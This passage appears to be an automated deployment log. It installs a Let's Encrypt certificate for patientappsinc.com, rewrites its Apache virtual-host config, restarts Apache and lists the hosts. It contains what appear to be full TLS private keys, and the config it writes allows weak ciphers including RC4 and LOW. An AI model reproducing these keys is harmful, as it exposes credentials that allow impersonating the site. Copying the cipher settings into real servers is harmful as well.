IqYQfH8JAgMBAAECggEAB3W+8Kj/dLvAiRp6O4fRQo9pSfPL5lzqAWnuWaZEAHPU
9LfcKxJBPutJx8alPTK4/lCelJiT+ezpw7fp0KV225qqIkASO09sb+qZbGnGVniW
xlrcMvL1zstGwaNavSE+X1gISrasGZt1UhyL/wau/CvWbUd5LAzOOAUFIF4IvdqL
UrcHBNC3v4j9Pu/Xbb3a8AQFR6QDQc4cZHgr46svrWEgnpJ+1njYLf5f6Bocl1TZ
nVgwyO+DPY066GG4+WmFWIbQV0llxFv4w/s/rgbgE3XYQGyHsfhRNiu0acXNZHgr
YwR/fLGA+VFfi7OMaBZlI0PufRi2Lwsp6KhpcExkjQKBgQDoErY0IIccFvAZdpha
SYAocu0bzoIGtHaPZnEMwUfVQiVFrSmdLCKxrZPjKswybs9MucwcHzVrspSHqYHf
LKIdLTheGTb5hRL+Sj0ejztsaQijt7/Kg+oxq2TIl5kWerQbrb1bROA2tBKOMpfF
BJm9o2UvNPvn+D5amKG5ogJrRQKBgQDcsF5pe+c8U7EhOQ2biQYjpsFO/5DuejSt
r2YDY3ANXiXRv4UFTc5qv1ZrGeLv6wWojykQP/Mz6K29qWdKamMgjx11J0fw7tJ5
q3fbaIiNRF2ZFHv8Dq/bYoyXxElrHcogBeOjhRFZy40e1eg8LKDG1hJbOPc6ZmyH
xOeZ/e7e9QKBgDFS8MjJdQ3iTiuLSjw+TO/L5Vs4m+gi6OP3iOWGGudXhKZ3dFXE
cKdE1h69FONPK94Jyzja5Ta7oNfojgLJ8La0yrstLsL/ppbHXpAlLyMOe9iYEDpR
qS/fVq9PkSj28VrEpW9Fh0X5Jcx1Mk6ceLSWisXqw/N8jnwg3paeuVblAoGAZtqM
Jf1pN+SJmUJN5T9nbRY64eaaVYr/IjOtB8dAYfqPBcKM7HvmyDmEvUXDTq3qZTTT
no8vefHnh418ZmJO8M3CnOdB0Dh+P9Z6dfeyLKTAOqghYMg3jbfQbqs8zH+FxIb6
ISvTelYz3zsykVj7VbBPvdQ+5Sj3TA+pIUwIGEECgYBYdaOwcqXBCOidjvgTOeff
MQiHjDe1ic3JD51fyCFJd1L8Qv8giRbmVzNvLAVene9x53UykEtKGnchy9J2yo9O
aXZqtRXyFapmjw/z9kbXYp+M0QJdGQF+yBfAtpMTEuKD22NUzltjH+G3JO1qz9x8
qSCHOoGUY6cOipAUUfqLbQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-14 06:00:43: Establishing a connection
2026-01-14 06:00:43: Establishing a connection
2026-01-14 06:00:43:
PUT: /tmp/pkp622242
#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-14 06:00:44:
chmod 755 /tmp/pkp622242; /tmp/pkp622242; rm /tmp/pkp622242
2026-01-14 06:00:44:
0
2026-01-14 06:01:13: Establishing a connection
2026-01-14 06:01:14:
PUT: /tmp/pkp830413
#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt
cat > $temp_file <<'endmsg'
0a:8b:67:cc:94:72:dd:92:5b:31:7e:47:8d:46:cd:9e
-----BEGIN CERTIFICATE-----
MIIFQzCCBCugAwIBAgISBrEKH8KoGt3kCgzm3k+FQw4zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMjQyWhcNMjYwNDE0MDUwMjQxWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCTY4FmnVxns1/M9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9
tMf6eXMgVhwWrS9JudLK5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcW
sHzy0wDLAcXB3knP7muJ1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP
4+69ZPu6Cy2sMsUMUeA5HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4
OXeOMXxYYVTJ03FNx/+YNaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9P
CQS4FiNmrooyB0An6C+fF7n7W46VAgMBAAGjggJlMIICYTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFI1M5vywYRh2hRiGpSQMSXV51MqbMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzUyLmNybDCCAQ0GCisGAQQB1nkC
BAIEgf4EgfsA+QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
m7sYB+YAAAQDAEgwRgIhAPwEgpxb1Npfzcn3sznqBjaGQ6w1/P3I5Bnjs9w4QV3I
AiEA4Vp4G7FFy8HNMhBBNSnZqLdth7cbP2DQ12XL1GNI7iQAfgBxfpXzwjiKbbHj
hEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZu7GAi3AAgAAAUABubC2AQDAEcwRQIg
IHPIsnyBsiJBZoJLjoHx3ZyzVRO72NyyT1TKpeqyaq4CIQDoXVnpR4AIpqTTlwju
oJ8IoqNa0UcbpAt48mESmFrpWzANBgkqhkiG9w0BAQsFAAOCAQEAOpcG2rvbLl3Y
qEghk3Pdhoer8b/a2FDEpoTFGse6Cdt2LeLsPMTkIasXGC84elnpKUSPfXySxVBH
s1ZAWT4mNhhqRIu4XGziIdojqHnzyjhwfMw4oyFJG8eO3MY8vGFMcct5fG/eCz2R
5RIoVoKCdUmXidYQSSE6ZriORT3LZq7vTqf9WVCYuI0sd/RN2/BFoFHEcPq/rQbL
WcWatxR49AIi5u9y2gh8xbutGpKEyxnR6+Vkzi+PcDF6Ax9vWMrqqEmvEeVC29UM
Lk+K4xk4uMCJyp+9pQr1UvDfhZbA5EdsmBuMsRvMedLWMxgu4ZfVp1wmAKzi+QRH
kndenNe5/Q==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCTY4FmnVxns1/M
9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9tMf6eXMgVhwWrS9JudLK
5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcWsHzy0wDLAcXB3knP7muJ
1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP4+69ZPu6Cy2sMsUMUeA5
HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4OXeOMXxYYVTJ03FNx/+Y
NaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9PCQS4FiNmrooyB0An6C+f
F7n7W46VAgMBAAECggEAN/eTDZo3mpE8kaJ91ICz5vlR80Ghu30wYyWiTmCNGkh1
tS8j/LPFR2z5VaMuROiVVPQd2maNDFvptW4vXVnP0/N5sXCO+WQO8KeyDv2fEfUQ
WhIp1NpUkZWyY2VFLRf+txfHNmTodnK8lyyPmd1mrr6fcF/hL7DeC2EQyDlEXJSf
1U3owShuj0PQqcZdKy34d9idWRQiHCRw2hQd8qtZAhNgGMucHfi5JBSmgNUY+RXw
1rLIa3lYPJgsxnEp8EYRWoybufG+PgV4WXXy+/15qHGOnrA8vszsA/rsCcLNrJeF
qYMd0p5ie72BbqRB1ztYaV+UHPDUKjbc1A5evgFVCQKBgQDHxY+fEpAM4rCiqtp9
oU06c+AKv0l/CuuUC8AKG5NatswcYZHvPwnDuwhNDH/zQy3q1/rQgrM7Cq13IQ7e
KhW0tz5W0vWruaSx8Y0kmzJ2Qk8Koxw2xzfxXQGA+IGdvARyXO9IHhDqphkA8pRr
AnTN/UpUhTAKDyULxxIsC3oOUwKBgQC834PHYst3ITVFtrMAY/dLCcs1gbobJbov
9xVtNK1gkSiG4ffdJUtbg5o3pq03rhT3qMCaCcDAErRj0Vg6XcrTXujzUmzcWzaO
fXdhfpIs4Rw4rdSyFczLnkchb6KhgjcHliKzUJTaBm6QLYegUaZbeTu/CotyeFu0
aBZ6fazCdwKBgHgabYtcVKB6lWlmwK8xD8YprjOn517qyNEb81vgUkoChlo1ytAE
nTFAu+/eqPoulGeRa+h5+5luhPWPOWoV8TDRzjfS4wJYPQ0CRTIR4Fe669xgTfEc
+qQwn1vTi9GyHRZIi09XTCJWs8efD935/xFsy4he/o+9pS8cgu9aAwqjAoGAWyEp
Txm+/DLcpk9ZnNWe6ujF0IJQTmrso9n+z5s8EDzZpgL/egdVjck4rqNQLm5jFX+p
tmkARGyB9yt5+2dnxoajtUtO1R95elTVNghA9UCEQmC1IFveXVx4C4z2liDi9lkd
UxGNUIkL7araJqNetgIPrsSitc+Wx7v1JJLguU8CgYEAp9etnOuPCgFBgFJ1GdXi
qIgg1QKYcdpCAHK26APbLQq+hSOCylznLM/lu39oAfo12wzPbajOxZgaPtVsJT3Z
5b+/CnPu/am+wLxyNAUPexLZO+WWWD+Asuu3CVDOlLr2YTkqRjqxCIUNT/fLHjz8
hW5NIDPnKLp6875zuG2W3d4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-14 06:01:14:
chmod 755 /tmp/pkp830413; /tmp/pkp830413; rm /tmp/pkp830413
2026-01-14 06:01:14:
dir=/etc/ssl/certs
2026-01-14 06:01:14:
PUT: /tmp/pkp519799
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-14 06:01:14:
chmod 755 /tmp/pkp519799; /tmp/pkp519799; rm /tmp/pkp519799
2026-01-14 06:01:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
2026-01-14 06:01:14:
PUT: /tmp/pkp271603
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi
2026-01-14 06:01:14:
chmod 755 /tmp/pkp271603; /tmp/pkp271603; rm /tmp/pkp271603
2026-01-14 06:01:14:
2026-01-14 06:01:14:
PUT: /tmp/pkp210473
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-14 06:01:14:
chmod 755 /tmp/pkp210473; /tmp/pkp210473; rm /tmp/pkp210473
2026-01-14 06:01:14:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:01:14: Establishing a connection
2026-01-14 06:01:14:
PUT: /tmp/pkp149851
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-14 06:01:14:
chmod 755 /tmp/pkp149851; /tmp/pkp149851; rm /tmp/pkp149851
2026-01-14 06:01:14:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
